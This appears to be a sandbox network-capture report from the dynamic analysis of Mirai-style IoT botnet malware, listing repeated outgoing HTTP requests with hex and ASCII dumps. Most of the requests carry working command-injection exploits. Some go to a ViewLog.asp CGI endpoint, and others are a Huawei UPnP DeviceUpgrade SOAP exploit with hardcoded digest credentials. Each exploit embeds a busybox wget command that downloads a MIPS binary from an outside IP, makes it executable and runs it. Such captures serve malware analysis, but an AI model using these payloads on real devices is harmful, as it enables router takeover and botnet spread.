                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:17.468542099 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:42.299854994 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.450644016 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                23192.168.2.153400862.29.39.658080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:56.092370987 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                24192.168.2.154019695.85.18.2068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:57.516980886 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:57.723594904 CET704INHTTP/1.1 404 Not Found
                                                Server: Apache-Coyote/1.1
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Transfer-Encoding: chunked
                                                Content-Encoding: gzip
                                                Vary: Accept-Encoding
                                                Date: Thu, 23 Nov 2023 04:19:56 GMT
                                                Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 00 0d 0a 31 38 31 0d 0a b5 93 5d 4f c2 30 14 86 ff 4a c5 5b ba 31 3e 24 81 da 04 83 09 17 26 12 5d 4c bc 3c db 0e ac 71 5b 67 db 89 48 f8 ef 96 95 af 04 12 35 91 ab 9e 9c 9e f3 f4 6d fb 1e 96 9a 3c e3 2c 45 48 38 33 c2 64 c8 47 25 c4 29 92 50 e6 31 18 bf ef b5 bc 7e 9f 50 72 af 94 54 44 61 29 95 61 be 2b 65 da 2c 37 cb 15 a5 93 80 ac 66 b2 30 74 06 b9 c8 96 83 10 52 99 43 73 a4 04 64 4d 0d 85 a6 1a 95 98 0d 63 99 49 35 58 a4 c2 e0 30 82 f8 6d ae 64 55 24 d4 a5 af 7b ed de b8 7f 33 ac 41 5a 7c e1 a0 dd 2e 3f 87 6b 32 69 5f 84 1e dc 38 7a e7 32 f4 6e 4d bf 7b 1c bf fe 85 1f 65 16 7d ca 77 c7 5a dc 3f 6a 5d 93 e9 ef 68 07 c2 16 79 2c f5 e8 c6 f5 6f 8d c8 aa de 26 03 e2 0a d6 23 af 80 1c 4f d2 93 a7 43 6a 2f 89 52 ce 7c e7 2b c2 7c 67 cc 48 26 4b 6b d2 80 4f c2 70 4a 9e 0d 98 4a 93 6e ab 6b 6d e9 c7 73 41 23 51 f8 2f 02 17 0f 72 ee 81 2e 6d 5b c0 99 a5 6f 44 dd 36 82 06 29 a4 4e 21 b1 f1 36 68 70 56 5a 2c 37 cb 12 99 1f f1 1d 73 67 ef 72 bb 9f a3 d6 30 77 25 ac e2 e7 0f ab f8 a1 21 41 1d 2b 51 1a 21 8b 5d 53 68 87 49 e1 7b 85 da 60 62 23 2d 2b 15 23 11 da aa 32 04 3e 40 64 10 65 e8 ed 41 3f 08 4f 3b 67 47 d4 5e ba 63 fb dd 53 f9 f5 58 7f 03 cf 33 11 29 dd 03 00 00 0d 0a 30 0d 0a 0d 0a
                                                Data Ascii: a181]O0J[1>$&]L<q[gH5m<,EH83dG%)P1~PrTDa)a+e,7f0tRCsdMcI5X0mdU${3AZ|.?k2i_8z2nM{e}wZ?j]hy,o&#OCj/R|+|gH&KkOpJJnkmsA#Q/r.m[oD6)N!6hpVZ,7sgr0w%!A+Q!]ShI{`b#-+#2>@deA?O;gG^cSX3)0


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                25192.168.2.154579831.136.178.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:57.518273115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:58.109189987 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:59.293081999 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:01.853110075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:06.716854095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:16.188575029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.156153917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.067075014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                26192.168.2.153312494.65.92.1838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:57.919476032 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:58.138267994 CET465INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 06:19:57 GMT
                                                Server: Webs
                                                X-Frame-Options: SAMEORIGIN
                                                Cache-Control: no-cache
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                27192.168.2.155446894.122.227.1558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:57.929822922 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                28192.168.2.1540420156.224.12.2037215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.469481945 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:00.093024015 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:02.013173103 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
